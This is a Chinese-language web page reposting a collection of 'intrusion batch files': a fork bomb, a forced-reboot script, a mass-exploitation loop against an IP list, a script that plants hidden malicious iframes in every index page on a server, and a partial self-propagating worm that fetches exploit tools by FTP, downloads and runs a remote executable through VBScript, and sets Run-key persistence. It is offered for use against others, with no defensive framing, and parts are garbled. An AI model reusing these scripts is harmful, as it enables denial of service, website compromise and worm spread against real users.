欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

各种入侵批处理

程序员文章站 2022-03-29 14:41:29
第一个:让别人内存OVER(逼他重启) @echo off start cmd %0 就这3行了 第二个:让对方重启指定次数(害人专用) @echo off if not exist c:1.txt echo. >c:1.... 08-10-08...
第一个:让别人内存over(逼他重启)
@echo off
start cmd
%0

就这3行了


第二个:让对方重启指定次数(害人专用)
@echo off
if not exist c:\1.txt echo. >c:\1.txt & goto err1
if not exist c:\2.txt echo. >c:\2.txt & goto err1
if not exist c:\3.txt echo. >c:\3.txt & goto err1
if not exist c:\4.txt echo. >c:\4.txt & goto err1
if not exist c:\5.txt echo. >c:\5.txt & goto err1
goto err2
:err1
shutdown -s -t 0
:err2
上面可以让对方电脑重启5次后不在重启


第三个:自动踢人(3389肉机保护自己专用)
@echo off
logoff 1
del log.bat
logoff后面的1改成自己登陆的id号,用query user查看


第四个: 批量自动溢出
@for /f %%i in (result.txt) do 42 %%i 58.44.89.158 521
先自己用nc监听端口,多开几个,然后指行,就自动溢出了



第五个:自动挂马改主页
@echo off
cls
rem 直接打批处理名字就有帮助
title 批量挂马,改首页(伤脑筋 qq:447228437).
color a
set pan=%1
set ye=%2
set dai=%3
if "%pan%"=="" goto e1
if "%ye%"=="" goto e1
if "趇%"=="" goto e1
if "趇%"=="htm.txt" goto u1
forfiles /p %pan% /m %ye% /s /c "cmd /c if @isdir==false echo ^<iframe src="http://趇%" width="0" height="0" frameborder="0"^> >>@path"
echo.
echo 代码全部插入完毕!!!!
echo.
pause
goto e1
:u1
echo 您现在的操作将使%pan%盘下,全部名为%ye%的内容变为您要更改的内容.
echo 这将是非常危险的,您真的要这样做? 回车却认,ctrl c取消操作.
pause
forfiles /p %pan% /m %ye% /s /c "cmd /c if @isdir==false copy %1\htm.txt @path /y"
echo.
echo 首页全部更改完必!!!!如果您发现没有替换成功,请将%ye%文件只读属性去掉.
echo.
pause
:e1
echo.
echo 本批处理只适用于2003系统,其他系统要使用,请将forfiles.exe拷贝至系统盘system32目录下
echo 用法:snj ^<搜索盘符^> ^<文件名^> ^<网马地址^>
echo 例子:snj d:\ index.asp www.muma.com/mm.htm
echo 批处理将自动添加^<iframe^>标记
echo.
echo 如果您要更改全部网站的首页!请在批处理文件所在目录下,新建一个名为htm.txt的文本文件.
echo 然后将要更改的代码加copy到里面保存.然后将命令的^<网马地址^>项输入为htm.txt即可.
echo 例子:snj d:\ index.asp htm.txt
echo.
echo 为了能准确无误执行批处理请最好先把记事本的"自动换行功能去掉",让命令保持在一行才能正确执行.
echo.
echo 使用此批处理造成一切后果本人概不负责,请大家谨慎使用!
echo.



第六个:利用批处理编写利用系统漏洞传播的蠕虫病毒
本来想写完后在做教程,要去学校了,所以先把思路告诉大家,大家可以先自己写写,我有时间写完发到群里.
这些是我未完成的批处理,大家可以在此基础上按照我下面说的思路继续写完
del c:\42.exe
del c:\nc.exe
del c:\ip.exe
echo dim wsh > %systemroot%\help\test.vbs
echo set wsh=createobject("wscript.shell") >> %systemroot%\help\test.vbs
echo wsh.run "cmd /c %systemroot%\help\nc -v -l -p 810 < %systemroot%\help\or.txt",0 >> %systemroot%\help\test.vbs
echo dim wsh > %systemroot%\help\test2.vbs
echo set wsh=createobject("wscript.shell") >> %systemroot%\help\test2.vbs
echo wsh.run "cmd /c start %systemroot%\help\good.bat",0 >> %systemroot%\help\test2.vbs
echo open 10.0.0.5 > %systemroot%\help\ftp.txt
echo open myyes >> %systemroot%\help\ftp.txt
echo 1 >> %systemroot%\help\ftp.txt
echo binary >> %systemroot%\help\ftp.txt
echo get 42.exe c:\42.exe >> %systemroot%\help\ftp.txt
echo get nc.exe c:\nc.exe >> %systemroot%\help\ftp.txt
echo get ip.exe c:\ip.exe >> %systemroot%\help\ftp.txt
echo bye >> %systemroot%\help\ftp.txt
echo echo set xpost = createobject("microsoft.xmlhttp") ^>1.vbs > %systemroot%\help\or.txt
echo echo xpost.open "get","http://10.0.0.5/my.exe&quo...,0 ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo xpost.send() ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo set sget = createobject("adodb.stream") ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo sget.mode = 3 ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo sget.type = 1 ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo sget.write(xpost.responsebody) ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo sget.savetofile "d:\my.exe",2 ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo 1.vbs ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo my.exe ^>^>1.vbs >> %systemroot%\help\or.txt
echo windows registry editor version 5.00 > %systemroot%\help\1.reg
echo [hkey_local_machine\software\microsoft\windows\currentversion\run] >> %systemroot%\help\1.reg
echo "skynet personal firewall"="f:\\系统安全工具\\firewall\\pfw.exe" >> %systemroot%\help\1.reg
echo "1"="%systemroot%\\help\\test2.vbs" >> %systemroot%\help\1.reg

if not exist %systemroot%\help\good.bat copy good.bat %systemroot%\help\good.bat & %systemroot%\help\test2.vbs & del good.bat
regedit -s %systemroot%\help\1.reg
ftp -s:%systemroot%\help\ftp.txt
move c:\nc.exe %systemroot%\help\ /y
move c:\42.exe %systemroot%\help\ /y
move c:\ip.exe %systemroot%\help\ /y
%systemroot%\help\test.vbs
rem for /f %%i in (result1.txt) do set a=%%i
rem for /f %%j in (result.txt) do 42 %a% %%j 810
准备:
1:找一个反向连接的溢出攻击程序,如ms06040漏洞
2:找呀一个免费ftp空间,最好是送域名的
3:利用你所知道的高级语言编写一个,能生成随机范围ip地址和找到本机ip的工具.
思路:
用for语句对指定文本里的ip进行溢出,然后用if语句判断是否溢出成功, 如果成功开启一个nc监听端口,nc后面带一个 < 输入符号
输入的内容为下载本批处理文件,然后执行这个批处理.这样被溢出的机器就又会在他那里运行我门的批处理,从而到自动传播的目的.

把批处理生成的文件集中放到一个目录下,可以%systemroot%系统变量直接放到系统目录下
因为批处理运行后会闪出命令行窗口,我门可以利用vbs脚本来运行我们的批处理,这样就不会有任何窗口出现,脚本如下
echo dim wsh > %systemroot%\help\test.vbs
echo set wsh=createobject("wscript.shell") >> %systemroot%\help\test.vbs
echo wsh.run "cmd /c %systemroot%\help\nc -v -l -p 810 < %systemroot%\help\or.txt",0 >> %systemroot%\help\test.vbs

生成随机ip工具的vb代码
private sub form_load()
dim fso as new filesystemobject
dim a, b, c, d as integer
dim ph, e as string
ph = app.path & "\" & "ip.txt"
randomize
a = int(253 * rnd 1)
b = int(253 * rnd 1)
c = int(240 * rnd 1)
open ph for output as #1
for i = c to c 7
for j = 1 to 254
e = a & "." & b & "." & i & "." & j
print #1, e
doevents
next j
next i
close #1
unload me
end sub